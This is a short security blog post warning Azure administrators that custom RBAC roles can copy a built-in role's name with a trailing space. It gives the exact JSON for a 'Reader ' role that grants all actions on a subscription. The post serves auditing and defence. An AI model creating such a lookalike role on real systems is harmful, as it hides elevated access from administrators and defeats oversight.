Azure Role-Based Access Rootkit

Auditing your Azure environments is an extremely important task. Not only because of external threats but also because of internal threats. One of possible attack vectors is permissions elevation using custom RBAC roles. The problem here is not that it is not possible to audit, the problem is that most of Azure administrators are not doing that.

The biggest part of the problem is that Azure is not validating custom roles when creating and we are able to create a role which is almost the same as built-in one.

Let's try with built-in Reader role:

{
    "assignableScopes": [
      "/"
    ],
    "description": "Lets you view everything, but not make any changes.",
    "id": "/subscriptions/ssssssss-ssss-ssss-ssss-ssssssssssss/providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7",
    "name": "acdd72a7-3385-48ef-bd42-f606fba81ae7",
    "permissions": [
      {
        "actions": [
          "*/read"
        ],
        "dataActions": [],
        "notActions": [],
        "notDataActions": []
      }
    ],
    "roleName": "Reader",
    "roleType": "BuiltInRole",
    "type": "Microsoft.Authorization/roleDefinitions"
}

We can see here clearly, that user with this role is able to perform read action on all resources, the role type is BuiltInRole and it's name is Reader.

Now let's check our custom role named Reader. Yes. The same name on the first look because you did not noticed a one, small space.

{
    "assignableScopes": [
  "/subscriptions/ssssssss-ssss-ssss-ssss-ssssssssssss"
    ],
    "description": "Lets you view everything, but not make any changes.",
    "id": "/subscriptions/ssssssss-ssss-ssss-ssss-ssssssssssss/providers/Microsoft.Authorization/roleDefinitions/54f8ccae-dc88-47f1-b425-174ee843f162",
    "name": "54f8ccae-dc88-47f1-b425-174ee843f162",
    "permissions": [
      {
        "actions": [
          "*"
        ],
        "dataActions": [],
        "notActions": [],
        "notDataActions": []
      }
    ],
    "roleName": "Reader ",
    "roleType": "CustomRole",
    "type": "Microsoft.Authorization/roleDefinitions"
}

Notice that actions that user with this role can perform is "*" for whole subscription (which is a scope). The name of the role is "Reader " and the description of the role is the same as in built-in "Reader" role.

It shouldn't be so hard to notice that user is having an elevated permissions because it is not a "Reader" role but "Reader "? False.

Let's check the assignemnts list using Azure CLI:

{
    "canDelegate": null,
    "id": "/subscriptions/ssssssss-ssss-ssss-ssss-ssssssssssss/providers/Microsoft.Authorization/roleAssignments/f8f14d8b-27c6-4969-8361-0c76a4e64bda",
    "name": "f8f14d8b-27c6-4969-8361-0c76a4e64bda",
    "principalId": "5a59308f-7c05-4512-9001-d3122d7e22e5",
    "principalName": "tester@free-media.eu",
    "roleDefinitionId": "/subscriptions/ssssssss-ssss-ssss-ssss-ssssssssssss/providers/Microsoft.Authorization/roleDefinitions/54f8ccae-dc88-47f1-b425-174ee843f162",
    "roleDefinitionName": "Reader ",
    "scope": "/subscriptions/ssssssss-ssss-ssss-ssss-ssssssssssss",
    "type": "Microsoft.Authorization/roleAssignments"
}

Of course, when validating, you will check roleDefinitionId? And of course you will validate that the roleDefinitionName is "Reader" not "Reader "? You are a PRO, so probably you will...

But how it is possible? It's simple. You just need to create a custom role with the same name as built-in one and add a hidden character, like space, at the end:

{
  "Name": "Reader ",
  "IsCustom": true,
  "Description": "Lets you view everything, but not make any changes.",
  "Actions": [
    "*"
  ],
  "NotActions": [

  ],
  "dataActions": [

  ],
  "notDataActions": [

  ],
  "AssignableScopes": [
    "/subscriptions/ssssssss-ssss-ssss-ssss-ssssssssssss"
  ]
}

Azure is just not validating it.

comments powered by Disqus